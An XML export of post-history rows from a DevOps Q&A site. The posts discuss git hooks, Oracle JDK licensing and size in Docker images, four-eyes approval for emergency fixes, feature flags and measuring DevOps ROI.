  <row Id="1344" PostHistoryTypeId="24" PostId="407" RevisionGUID="6e7fb58a-c086-4a9d-8e97-4962ea207e1f" CreationDate="2017-03-08T06:30:49.387" Comment="Proposed by 44 approved by 40, 46 edit id of 130" ContentLicense="CC BY-SA 3.0" />
  <row Id="1345" PostHistoryTypeId="2" PostId="432" RevisionGUID="ea6956f3-3d8a-4fe7-8011-9a95fcac222f" CreationDate="2017-03-08T06:40:54.643" UserId="154" Text="In general git allows concurrent operations because one of them will eventually fail. Some specific database updates will have file locks (like updating the index files) but multiple receives can be in flight at once I think. In this case whichever verification completed first would be allowed in, and the second would fail due to having an invalid history (i.e. not being a fast-forward push).&#xD;&#xA;&#xD;&#xA;In general this kind of operation is not well suited to git's server-side hooks since if something does fail, the person will then have to do some surgery on their branches to get things back in a valid state. These kinds of checks are generally run on the workstation side, though then you run into the &quot;fun&quot; that is distributing git hooks as they can't actually be checked in directly.&#xD;&#xA;&#xD;&#xA;Another common solution is to have a CI service like Jenkins running verifications (tests) and updating a second branch or a utility tag showing which commits are acceptable." ContentLicense="CC BY-SA 3.0" />
  <row Id="1346" PostHistoryTypeId="5" PostId="401" RevisionGUID="8f0e6b6e-1de7-4db4-b2dd-bdb887cc79dc" CreationDate="2017-03-08T06:47:35.013" UserId="40" Comment="Integrate comments from OPer" Text="Automation and DevOps are unrelated.  DevOps is more like combined engineering where the Developers of a site or service are all the Operators of that site or service.  Why is this novel?  In my experience the first thing the Ops team did when anything more exciting than a network blip happened was to call the Dev team.  Why did they do that?  Because all the Ops team did was monitor and keep a list of dev phone numbers to call.&#xD;&#xA;&#xD;&#xA;Notice I've said nothing about automation.&#xD;&#xA;&#xD;&#xA;Automation is about repeating success.  If I do steps a,b and c and process X always works, then steps a, b and c are good candidates for automation.  Then I can use the time for what used to be a manual process to do things that make me more money.  Automation is successful when it's simple.  Deploying new releases, running integration tests, torquing a nut on a bolt, backing up data, balancing credits vs. debits, etc. are all great candidates for automation because the steps are repeated whether by a person or a robot.&#xD;&#xA;&#xD;&#xA;**Note**: What is new is that Developers are also the operators. There is not another group. Cooperation in my case was rare. If there was nothing in the Troubleshooting Guide (aka TSG) then you were guaranteed a phone call. In my experience Ops was the first call in case of backhoe. Problems between services were out of their wheelhouse." ContentLicense="CC BY-SA 3.0" />
  <row Id="1347" PostHistoryTypeId="5" PostId="327" RevisionGUID="c5d603d6-1d4c-4386-9a62-f67b77e2f08e" CreationDate="2017-03-08T06:56:08.563" UserId="40" Comment="Integrate comments from OPer" Text="A rolling release is newer, with cutting-edge functionality, but potentially more defects. LTS is more stable. If stability is your priority (as it generally is for DevOps), LTS would be the release to use.&#xD;&#xA;&#xD;&#xA;**Note**: Deploying your own code often is unrelated to choosing between a bleeding edge or LTS release of a third party product. You want your external dependencies to be as stable as possible to mitigate risk so that you are more free to do more frequent releases of your own product." ContentLicense="CC BY-SA 3.0" />
  <row Id="1348" PostHistoryTypeId="5" PostId="428" RevisionGUID="4bac6f01-836e-42de-9fe7-65c56f670ede" CreationDate="2017-03-08T08:10:51.310" UserId="13" Comment="added 95 characters in body" Text="Captain obvious : by reducing time to market and defects on releases.&#xD;&#xA;&#xD;&#xA;To extend on this one liner, the usual pitfall is being an organization change without any reference. &#xD;&#xA;&#xD;&#xA;Engaging a culture or organization change implies some expense to train and introduce people to this new method, this have a cost in training but also imply a loss in productivity as people in a train session won't produce anything. This is the investment part of the cultural change.&#xD;&#xA;&#xD;&#xA;To measure a ROI you have to first find some relevant metrics which should be improved (understand costly, either expensive or source of loss of profit). This could be a shorter time to market, less patch after each release, a better customer engagement within your product. Relevant metrics will be highly dependent of your product(s).&#xD;&#xA;&#xD;&#xA;Measuring a ROI (how fast you have covered the training expense) implies that you can factually present an evolution on those metrics, so before engaging any change you must have defined those metrics and measured them in an objective way.  &#xD;&#xA;Once you have a real evolution to show you can tell if you did improve something in a way which has covered the training expense and become more profitable than it was before.&#xD;&#xA;&#xD;&#xA;The usual pitfall is to engage the change before having defined any metrics and thus evaluating the ROI on a feeling and not on factual datas.&#xD;&#xA;&#xD;&#xA;Productivity can be a metric, but its measurement is usually very hard to do in an objective fashion and should not be a first class metric for this kind of study." ContentLicense="CC BY-SA 3.0" />
  <row Id="1349" PostHistoryTypeId="5" PostId="427" RevisionGUID="f6bc49a1-12c4-47d3-87f9-4ac5b20aaada" CreationDate="2017-03-08T08:15:03.390" UserId="13" Comment="Line breaks to give an easier reading" Text="DevOps is complex, and involves many non-deterministic aspects like culture and process.  &#xD;&#xA;What are some ways to measure DevOps initiatives for success?  &#xD;&#xA;How do you prove to a business that the investment they have made is returning (or saving) real dollars?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1351" PostHistoryTypeId="5" PostId="166" RevisionGUID="cf754819-5924-4bdc-a98e-8b2dd4f6ce97" CreationDate="2017-03-08T09:05:43.447" UserId="13" Comment="added 58 characters in body" Text="The steps are quite &quot;easy&quot;, to move to a feature flag app you need basically two things:&#xD;&#xA;&#xD;&#xA; 1. A flag repository (file/data base/env variable)&#xD;&#xA; 2. Conditional statements to change the behavior according to the flag.&#xD;&#xA;&#xD;&#xA;The basic of feature flag is to turn them on/off, but quickly you'll wish to release a new feature in a ramp-up manner, for example: 1 server on 5 hosting the app have the feature &quot;on&quot; to start, you then turn on the feature on another server, until all servers have it &quot;on&quot;.&#xD;&#xA;&#xD;&#xA;This means you have to be careful about your feature being compatible with the app without it (extra column in DB for example).&#xD;&#xA;&#xD;&#xA;Frameworks exists in various languages to avoid reinventing the wheel, the now un-maintained one from Etsy's have an interesting [readme](https://github.com/etsy/feature) to explain how it works." ContentLicense="CC BY-SA 3.0" />
  <row Id="1352" PostHistoryTypeId="2" PostId="433" RevisionGUID="669e5269-5275-4d79-a627-0fa8421fdf76" CreationDate="2017-03-08T10:33:09.527" UserId="210" Text="&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            1         X              26 seconds ago      279 MB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;when the docker image will be run, the following message is shown:&#xD;&#xA;&#xD;&#xA;    No java installations was detected.&#xD;&#xA;    Please go to http://www.java.com/getjava/ and download&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When Oracle JDK is deployed the docker image size is more than doubled!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    REPOSITORY          TAG       IMAGE ID       CREATED             SIZE&#xD;&#xA;    an-image            2         X              26 seconds ago      666 MB&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;When &quot;Is there no Oracle JDK for docker&quot; is googled only some links to docker image that contain docker are returned. When Oracle JDK is deployed in the docker image the size is more than doubled. I want to keep the docker images as small as possible, but the Oracle JDK seems to be larger then the image itself!&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Is there no Oracle JDK for docker?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1353" PostHistoryTypeId="1" PostId="433" RevisionGUID="669e5269-5275-4d79-a627-0fa8421fdf76" CreationDate="2017-03-08T10:33:09.527" UserId="210" Text="Is there no Oracle JDK for docker?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1354" PostHistoryTypeId="3" PostId="433" RevisionGUID="669e5269-5275-4d79-a627-0fa8421fdf76" CreationDate="2017-03-08T10:33:09.527" UserId="210" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1355" PostHistoryTypeId="2" PostId="434" RevisionGUID="33026379-0a50-4e81-800b-4355d6594ec1" CreationDate="2017-03-08T10:45:50.673" UserId="6" Text="No. Because you cannot distribute it, the license doesn't allow distribution. This is why you will not find Oracle JDK/JRE on any of the public Docker registries.&#xD;&#xA;&#xD;&#xA;You can create your own image, for example using the [webupd8team/java][1] package for Ubuntu/Debian.&#xD;&#xA;&#xD;&#xA;For Alpine Linux [this blog post][2] explains which dependencies are required, and [links to StackOverflow][3] for installation instructions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/~webupd8team/+archive/ubuntu/java&#xD;&#xA;  [2]: https://developer.atlassian.com/blog/2015/08/minimal-java-docker-containers/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/10268583/downloading-java-jdk-on-linux-via-wget-is-shown-license-page-instead" ContentLicense="CC BY-SA 3.0" />
  <row Id="1356" PostHistoryTypeId="2" PostId="435" RevisionGUID="ef919f14-b9b6-4a61-b096-5632022abe6f" CreationDate="2017-03-08T10:55:33.710" UserId="201" Text="There is no official Oracle JDK implementation for Java. Docker used to support their own [Java library][1] on hub.docker.com, but they deprecated it in favor of the actual OpenJDK implementation since it was &quot;OpenJDK-specific since it was first introduced&quot;. Their reasoning:&#xD;&#xA;&#xD;&#xA;&gt; As all of the major upstream Linux distributions are unwilling to redistribute Oracle Java in their own distribution channels, we have chosen to follow them. See references below on how each distribution does not distribute Oracle Java.&#xD;&#xA;&#xD;&#xA;So if you want to keep your Docker image as small as possible, consider using OpenJDK instead. There's an official [OpenJDK Dockerfile repository][2] or you can just use `docker pull openjdk`. The basic &quot;easy to run&quot; Dockerfile for OpenJDK 7 is as follows (taken from the website listed in the previous sentence):&#xD;&#xA;&#xD;&#xA;    FROM openjdk:7&#xD;&#xA;    COPY . /usr/src/myapp&#xD;&#xA;    WORKDIR /usr/src/myapp&#xD;&#xA;    RUN javac Main.java&#xD;&#xA;    CMD [&quot;java&quot;, &quot;Main&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/java/&#xD;&#xA;  [2]: https://hub.docker.com/_/openjdk/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1357" PostHistoryTypeId="2" PostId="436" RevisionGUID="26a5f3a5-c5bc-4d31-acc5-55257f02d884" CreationDate="2017-03-08T10:58:47.563" UserId="13" Text="As docker is not an operating system, no there's no JDK for docker.&#xD;&#xA;&#xD;&#xA;As I understand your question, it's that a full JDK is too large for your wishes, in this case you may try switching to just the JRE and include only necessary libraries.&#xD;&#xA;&#xD;&#xA;JDK is the acronym of Java Development Kit, JRE is the one for Java Runtime Engine. By &quot;lazyness&quot; due to the complexity to list every needed dependency no one strip down to the necessary libraries only, but that the way to go if you wish to reduce the installed size to strict minimum.&#xD;&#xA;&#xD;&#xA;A more usable way could be strip off some of the installed things which are taking a lot of space:&#xD;&#xA;&#xD;&#xA;    /usr/lib/jvm/jdk1.8.0_101$ du -hs *&#xD;&#xA;    776K    bin&#xD;&#xA;    4.0K    COPYRIGHT&#xD;&#xA;    5.7M    db&#xD;&#xA;    208K    include&#xD;&#xA;    4.9M    javafx-src.zip&#xD;&#xA;    187M    jre&#xD;&#xA;    133M    lib&#xD;&#xA;    4.0K    LICENSE&#xD;&#xA;    2.0M    man&#xD;&#xA;    4.0K    README.html&#xD;&#xA;    4.0K    release&#xD;&#xA;    21M     src.zip&#xD;&#xA;    108K    THIRDPARTYLICENSEREADME-JAVAFX.txt&#xD;&#xA;    176K    THIRDPARTYLICENSEREADME.txt&#xD;&#xA;&#xD;&#xA;There's two *src.zip which can be removed, they won't be of use, and as you can see the lib directory is half the size and within it you have a bunch of things you don't really need:&#xD;&#xA;&#xD;&#xA;    /usr/lib/jvm/jdk1.8.0_101$ du -hs lib/*&#xD;&#xA;    120K    lib/amd64&#xD;&#xA;    1.2M    lib/ant-javafx.jar&#xD;&#xA;    18M     lib/ct.sym&#xD;&#xA;    160K    lib/dt.jar&#xD;&#xA;    20K     lib/ir.idl&#xD;&#xA;    36K     lib/javafx-mx.jar&#xD;&#xA;    400K    lib/jconsole.jar&#xD;&#xA;    12K     lib/jexec&#xD;&#xA;    60M     lib/missioncontrol&#xD;&#xA;    4.0K    lib/orb.idl&#xD;&#xA;    8.0K    lib/packager.jar&#xD;&#xA;    2.4M    lib/sa-jdi.jar&#xD;&#xA;    18M     lib/tools.jar&#xD;&#xA;    34M     lib/visualvm&#xD;&#xA;&#xD;&#xA;You can without problem remove missoncontrol on a server, I assume you can get rid of visualvm also, you'll have to check if you need something in this lib directory, but I can't tell without knowing your app..&#xD;&#xA;&#xD;&#xA;One thing you should do in your dockerfile while installing oracle jdk is to remove the downloaded `.tar.gz` file which is roughly the same size as the resulting directory as `.jar` files are already compressed, the tar.gz is just there to &quot;package&quot; them.&#xD;&#xA;&#xD;&#xA;You have to all this in the same `RUN` command, chaining with `&amp;&amp;` to avoid adding layers where you won't remove size by removing files from previous layer.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1358" PostHistoryTypeId="5" PostId="436" RevisionGUID="d024831d-5278-4e9f-838a-aba48893bbef" CreationDate="2017-03-08T11:12:43.530" UserId="13" Comment="added 3 characters in body" Text="As docker is not an operating system, no there's no JDK for docker.&#xD;&#xA;&#xD;&#xA;As I understand your question, it's that a full JDK is too large for your wishes, in this case you may try switching to just the JRE and include only necessary libraries.&#xD;&#xA;&#xD;&#xA;JDK is the acronym of Java Development Kit, JRE is the one for Java Runtime Engine. By &quot;lazyness&quot; due to the complexity to list every needed dependency no one strip down to the necessary libraries only, but that is the way to go if you wish to reduce the installed size to strict minimum.&#xD;&#xA;&#xD;&#xA;A more usable way could be strip off some of the installed things which are taking a lot of space:&#xD;&#xA;&#xD;&#xA;    /usr/lib/jvm/jdk1.8.0_101$ du -hs *&#xD;&#xA;    776K    bin&#xD;&#xA;    4.0K    COPYRIGHT&#xD;&#xA;    5.7M    db&#xD;&#xA;    208K    include&#xD;&#xA;    4.9M    javafx-src.zip&#xD;&#xA;    187M    jre&#xD;&#xA;    133M    lib&#xD;&#xA;    4.0K    LICENSE&#xD;&#xA;    2.0M    man&#xD;&#xA;    4.0K    README.html&#xD;&#xA;    4.0K    release&#xD;&#xA;    21M     src.zip&#xD;&#xA;    108K    THIRDPARTYLICENSEREADME-JAVAFX.txt&#xD;&#xA;    176K    THIRDPARTYLICENSEREADME.txt&#xD;&#xA;&#xD;&#xA;There's two *src.zip which can be removed, they won't be of use, and as you can see the lib directory is half the size and within it you have a bunch of things you don't really need:&#xD;&#xA;&#xD;&#xA;    /usr/lib/jvm/jdk1.8.0_101$ du -hs lib/*&#xD;&#xA;    120K    lib/amd64&#xD;&#xA;    1.2M    lib/ant-javafx.jar&#xD;&#xA;    18M     lib/ct.sym&#xD;&#xA;    160K    lib/dt.jar&#xD;&#xA;    20K     lib/ir.idl&#xD;&#xA;    36K     lib/javafx-mx.jar&#xD;&#xA;    400K    lib/jconsole.jar&#xD;&#xA;    12K     lib/jexec&#xD;&#xA;    60M     lib/missioncontrol&#xD;&#xA;    4.0K    lib/orb.idl&#xD;&#xA;    8.0K    lib/packager.jar&#xD;&#xA;    2.4M    lib/sa-jdi.jar&#xD;&#xA;    18M     lib/tools.jar&#xD;&#xA;    34M     lib/visualvm&#xD;&#xA;&#xD;&#xA;You can without problem remove missoncontrol on a server, I assume you can get rid of visualvm also, you'll have to check if you need something in this lib directory, but I can't tell without knowing your app..&#xD;&#xA;&#xD;&#xA;One thing you should do in your dockerfile while installing oracle jdk is to remove the downloaded `.tar.gz` file which is roughly the same size as the resulting directory as `.jar` files are already compressed, the tar.gz is just there to &quot;package&quot; them.&#xD;&#xA;&#xD;&#xA;You have to do all this in the same `RUN` command, chaining with `&amp;&amp;` to avoid adding layers where you won't remove size by removing files from previous layer.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1359" PostHistoryTypeId="6" PostId="427" RevisionGUID="a0505f17-0708-4aa4-bdab-9ac44986944c" CreationDate="2017-03-08T12:24:44.907" UserId="72" Comment="edited tags" Text="&lt;metrics&gt;&lt;roi&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1360" PostHistoryTypeId="5" PostId="434" RevisionGUID="795594fc-e884-49e4-a26d-4424670fbf65" CreationDate="2017-03-08T13:39:37.317" UserId="6" Comment="clarify" Text="No. Because you cannot distribute Oracle JDK or JRE, the license doesn't allow distribution. This is why you will not find Oracle JDK/JRE on any of the public Docker registries, or in any Linux package repositories for that matter.&#xD;&#xA;&#xD;&#xA;You can create your own image, and install Oracle JDK or JRE using the [webupd8team/java][1] package for Ubuntu/Debian.&#xD;&#xA;&#xD;&#xA;And if you are using Alpine Linux [this blog post][2] explains which dependencies are required, and [links to StackOverflow][3] for installation instructions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/~webupd8team/+archive/ubuntu/java&#xD;&#xA;  [2]: https://developer.atlassian.com/blog/2015/08/minimal-java-docker-containers/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/10268583/downloading-java-jdk-on-linux-via-wget-is-shown-license-page-instead" ContentLicense="CC BY-SA 3.0" />
  <row Id="1361" PostHistoryTypeId="5" PostId="434" RevisionGUID="95c2c9ce-338b-4021-9329-357ebc13aba4" CreationDate="2017-03-08T13:45:29.403" UserId="6" Comment="link to oracle java license" Text="No. Because you [cannot distribute Oracle JDK or JRE, the license doesn't allow distribution][1]. This is why you will not find Oracle JDK/JRE on any of the public Docker registries, or in any Linux package repositories for that matter.&#xD;&#xA;&#xD;&#xA;You can create your own image, and install Oracle JDK or JRE using the [webupd8team/java][2] package for Ubuntu/Debian.&#xD;&#xA;&#xD;&#xA;And if you are using Alpine Linux [this blog post][3] explains which dependencies are required, and [links to StackOverflow][4] for installation instructions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oracle.com/technetwork/java/javase/terms/license/index.html&#xD;&#xA;  [2]: https://launchpad.net/~webupd8team/+archive/ubuntu/java&#xD;&#xA;  [3]: https://developer.atlassian.com/blog/2015/08/minimal-java-docker-containers/&#xD;&#xA;  [4]: http://stackoverflow.com/questions/10268583/downloading-java-jdk-on-linux-via-wget-is-shown-license-page-instead" ContentLicense="CC BY-SA 3.0" />
  <row Id="1365" PostHistoryTypeId="5" PostId="435" RevisionGUID="a334c5d1-1b4c-4f1d-8e9d-a7404673be3c" CreationDate="2017-03-08T19:14:15.703" UserId="201" Comment="added 10 characters in body" Text="There is no official Oracle JDK implementation provided by Docker. Docker used to support their own [Java library][1] on hub.docker.com, but they deprecated it in favor of the actual OpenJDK implementation since it was &quot;OpenJDK-specific since it was first introduced&quot;. Their reasoning:&#xD;&#xA;&#xD;&#xA;&gt; As all of the major upstream Linux distributions are unwilling to redistribute Oracle Java in their own distribution channels, we have chosen to follow them. See references below on how each distribution does not distribute Oracle Java.&#xD;&#xA;&#xD;&#xA;So if you want to keep your Docker image as small as possible, consider using OpenJDK instead. There's an official [OpenJDK Dockerfile repository][2] or you can just use `docker pull openjdk`. The basic &quot;easy to run&quot; Dockerfile for OpenJDK 7 is as follows (taken from the website listed in the previous sentence):&#xD;&#xA;&#xD;&#xA;    FROM openjdk:7&#xD;&#xA;    COPY . /usr/src/myapp&#xD;&#xA;    WORKDIR /usr/src/myapp&#xD;&#xA;    RUN javac Main.java&#xD;&#xA;    CMD [&quot;java&quot;, &quot;Main&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/java/&#xD;&#xA;  [2]: https://hub.docker.com/_/openjdk/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1366" PostHistoryTypeId="2" PostId="437" RevisionGUID="42e52f9e-3d39-4177-a582-a4dc7e0f6870" CreationDate="2017-03-08T19:41:57.833" UserId="40" Text="Consider this scenario (any comparison with real world situations is purely by accident):&#xD;&#xA;&#xD;&#xA;- **3:07 am**: incoming support call &quot;*Something in production went down, I need your help!*&quot;.&#xD;&#xA;- **3:12 am**: connected to the system (logon accepted) ... and no time for coffee.&#xD;&#xA;- **3:15 am**: lucky you, right away you could spot the issue via some error message somewhere.&#xD;&#xA;- **3:17 am**: use your SCM toolbox to grab the code, fix the issue, test it, great ... my fix works!&#xD;&#xA;- **3:20 am**: get in touch with the &lt;strike&gt;Dev&lt;/strike&gt;Ops-team to ship the fix and to get production running again.&#xD;&#xA;- **3:21 am**: red flag ... &quot;*To respect [tag:four-eyes], we need 2 more eyes to get approval for this fix*&quot;.&#xD;&#xA;- **3:22 am**: ggggrrrreat, now what, who else can we call (= wake up some manager)?&#xD;&#xA;&#xD;&#xA;If you implemented some approval procedure similar to my answer to &quot;http://devops.stackexchange.com/questions/337/what-are-possible-implementations-or-examples-of-the-four-eyes-principle/338#338&quot;, then you're out of luck ... here are your choices:&#xD;&#xA;&#xD;&#xA;- Your fix will be stuck (read: production will be down) until 2 more eyes got involved.&#xD;&#xA;- You figure out a way to get around the missing eyes.&#xD;&#xA;&#xD;&#xA;***So how to implement the four-eyes principle for emergency fixes?*** ... So that you get production up and running asap, i.e. around  **3:25 am** ... And so that you can also close the call (and go back to where you came from)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1367" PostHistoryTypeId="1" PostId="437" RevisionGUID="42e52f9e-3d39-4177-a582-a4dc7e0f6870" CreationDate="2017-03-08T19:41:57.833" UserId="40" Text="How to implement the four-eyes principle for emergency fixes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1368" PostHistoryTypeId="3" PostId="437" RevisionGUID="42e52f9e-3d39-4177-a582-a4dc7e0f6870" CreationDate="2017-03-08T19:41:57.833" UserId="40" Text="&lt;configuration&gt;&lt;four-eyes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1369" PostHistoryTypeId="2" PostId="438" RevisionGUID="a891844d-c016-45c9-b8fa-9450c704e4ea" CreationDate="2017-03-08T19:41:57.833" UserId="40" Text="In the SCM-world where I'm mostly familiar with, the above scenario is typically addressed by what's called the &quot;***abbreviated***-approval list procedure.&#xD;&#xA;&#xD;&#xA;Here is a blueprint of it:&#xD;&#xA;&#xD;&#xA;- Define your business hours, say from 8 am to 6 pm.&#xD;&#xA;- Define a ***complete*** approval list of (say) 3 levels of approval (for roles X, Y and Z).&#xD;&#xA;- Define a ***abbreviated*** approval list of (say) only 1 level of approval (only for roles X).&#xD;&#xA;- ***Planned changes*** always require all approvals from the complete approval list.&#xD;&#xA;- For ***Unplanned changes***, the complete approval list is used *also* to gather the required approvals, provided the approvals are to be issued *during* the defined business hours.&#xD;&#xA;- For any approvals of ***unplanned changes*** that are to be issued *outside* the defined business hours:&#xD;&#xA;  - Only the approvals from the abbreviated approval list (such as role X above) are required to authorize the change.&#xD;&#xA;  - But additional ***post***-approvals will be needed afterwards (within a reasonable amount of hours/days), i.e from all roles contained in the complete approval list (such as role Y and Z above), which are not also contained in the abbreviated approval list (such as role X above). And if within the (upfront) agreed amount of hours/days not all post-approvals have been issued (e.g because the fix worked &quot;this&quot; time, but was only like a temporary fix), then the change might be subject to a rollback.&#xD;&#xA;&#xD;&#xA;With such solution in place, the call can be closed around **3:23 am** ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="1370" PostHistoryTypeId="5" PostId="438" RevisionGUID="ff7f6c0a-5615-427c-a168-519c9ae145b1" CreationDate="2017-03-08T22:12:37.343" UserId="40" Comment="added 231 characters in body" Text="In the SCM-world where I'm mostly familiar with, the above scenario is typically addressed by what's called the &quot;***abbreviated***-approval list procedure.&#xD;&#xA;&#xD;&#xA;Here is a blueprint of it:&#xD;&#xA;&#xD;&#xA;- Define your business hours, say from 8 am to 6 pm.&#xD;&#xA;- Define a ***complete*** approval list of (say) 3 levels of approval (for roles X, Y and Z).&#xD;&#xA;- Define a ***abbreviated*** approval list of (say) only 1 level of approval (only for roles X).&#xD;&#xA;- ***Planned changes*** always require all approvals from the complete approval list.&#xD;&#xA;- For ***Unplanned changes***, the complete approval list is used *also* to gather the required approvals, provided the approvals are to be issued *during* the defined business hours.&#xD;&#xA;- For any approvals of ***unplanned changes*** that are to be issued *outside* the defined business hours:&#xD;&#xA;  - Only the approvals from the abbreviated approval list (such as role X above) are required to authorize the change.&#xD;&#xA;  - But additional ***post***-approvals will be needed afterwards (within a reasonable amount of hours/days), i.e from all roles contained in the complete approval list (such as role Y and Z above), which are not also contained in the abbreviated approval list (such as role X above). And if within the (upfront) agreed amount of hours/days not all post-approvals have been issued (e.g because the fix worked &quot;this&quot; time, but was only like a temporary fix), then the change might be subject to a rollback.&#xD;&#xA;&#xD;&#xA;With such solution in place, the call can be closed around **3:23 am** ... since there will be no more red flag at **3:21 am** ... ggggrrreat, time for a beer to celebrate my fix to get production going again (instead of coffee) ... and fingers crossed the outstanding post approvals will come in soon ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="1371" PostHistoryTypeId="2" PostId="439" RevisionGUID="b3c79538-6e79-4787-9396-293364ef20a8" CreationDate="2017-03-08T23:17:44.953" UserId="625" Text="Each Git hook is executed when a particular Git command is run. See the [Git documentation on hooks][1] for specifics. If you have two pushes updating the same ref, whichever one completes the &quot;update&quot; hook first gets to update the ref, and the other will get an error. It doesn't matter which client started to push first. It's all about which got to update the ref first.&#xD;&#xA;&#xD;&#xA;When a push occurs, this runs a number of hooks. These three are run before a ref can be updated. &#xD;&#xA;&#xD;&#xA; - pre-push - Client Side, called by git push and can be used to prevent a push from taking place. &#xD;&#xA; - pre-receive - Server side, invoked by git-receive-pack on the remote repository. Just before starting to update refs on the remote repository, the pre-receive hook is invoked. Its exit status determines the success or failure of the update. If the hook exits with non-zero status, none of the refs will be updated. If the hook exits with zero, updating of individual refs can still be prevented by the update hook.&#xD;&#xA; - update - Server side, invoked by git-receive-pack on the remote repository. Just before updating the ref on the remote repository, the update hook is invoked. Its exit status determines the success or failure of the ref update. The hook executes once for each ref to be updated.&#xD;&#xA;&#xD;&#xA;My 2 Cents: **I think you're asking the wrong question.** Any use of a Git hook should be quick and simple. If your verification requires more time than a second or two, it's too long and would be misplaced in a Git hook. A long running hook will frustrate users because they'll think Git is unresponsive. My suggestion is to apply the FAIL FAST, FAIL OFTEN principle.&#xD;&#xA;&#xD;&#xA;In your case of a long running verification, use of a tool to perform the verification outside of Git is ideal, such as a unit test for example, runnable from CI or locally. Proper use of pull requests (i.e. merging short lived branches) should check that your verification passed and then allow incorporation of such a change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/docs/githooks" ContentLicense="CC BY-SA 3.0" />
  <row Id="1375" PostHistoryTypeId="2" PostId="440" RevisionGUID="e0bff8d1-3360-4dc3-b3b0-b95ca68c3597" CreationDate="2017-03-09T02:42:16.150" UserId="491" Text="In the case of off-hours emergency fixes, it's more practical to require less sign-off for changes than your normal procedure. Generally, you can deploy a fix and then do post-approvals the next business day. If the fix is not approved, it can be reverted and replaced with a permanent solution.&#xA;&#xA;During an outage situation, the number one priority should be to restore service. If your organization does not recognize this relaxed process during an outage, then yes, your only option is to start waking more people up for sign off." ContentLicense="CC BY-SA 3.0" />
  <row Id="1376" PostHistoryTypeId="2" PostId="441" RevisionGUID="3ced4d28-a94f-4f1e-acbd-934a19e4fd15" CreationDate="2017-03-09T02:46:29.477" UserId="491" Text="If I have 3 environments : integration, staging, and production, what is the cleanest branching strategy to use, assuming I want to reuse my deployed artifact?&#xA;&#xA;For example, should feature branches be merged into master and then built to be deployed to integration? Or is there another strategy that allows you to have 1-to-1 mapping between your releases and SCM?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1377" PostHistoryTypeId="1" PostId="441" RevisionGUID="3ced4d28-a94f-4f1e-acbd-934a19e4fd15" CreationDate="2017-03-09T02:46:29.477" UserId="491" Text="What is the cleanest branching strategy to use when creating reusable artifacts?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1378" PostHistoryTypeId="3" PostId="441" RevisionGUID="3ced4d28-a94f-4f1e-acbd-934a19e4fd15" CreationDate="2017-03-09T02:46:29.477" UserId="491" Text="&lt;scm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1379" PostHistoryTypeId="2" PostId="442" RevisionGUID="63966b0e-5982-4098-b0b2-61c09992f63f" CreationDate="2017-03-09T02:49:33.433" UserId="491" Text="As far as I am aware, `commit` and `run` are the best options here to give you full access to the container as it was when it died.&#xA;&#xA;Ideally, your container would spit out some more useful information when it fails, but that is another topic altogether." ContentLicense="CC BY-SA 3.0" />
  <row Id="1380" PostHistoryTypeId="2" PostId="443" RevisionGUID="3b85ab23-9db6-49c1-b8df-2ae0be98e249" CreationDate="2017-03-09T02:54:18.353" UserId="491" Text="What are the main feature differences between tools such as kubernetes, rancher, mesos, etc?&#xA;&#xA;What would lead you to choose one over the other?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1381" PostHistoryTypeId="1" PostId="443" RevisionGUID="3b85ab23-9db6-49c1-b8df-2ae0be98e249" CreationDate="2017-03-09T02:54:18.353" UserId="491" Text="What functional differences are there between the major docker orchestration tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1382" PostHistoryTypeId="3" PostId="443" RevisionGUID="3b85ab23-9db6-49c1-b8df-2ae0be98e249" CreationDate="2017-03-09T02:54:18.353" UserId="491" Text="&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
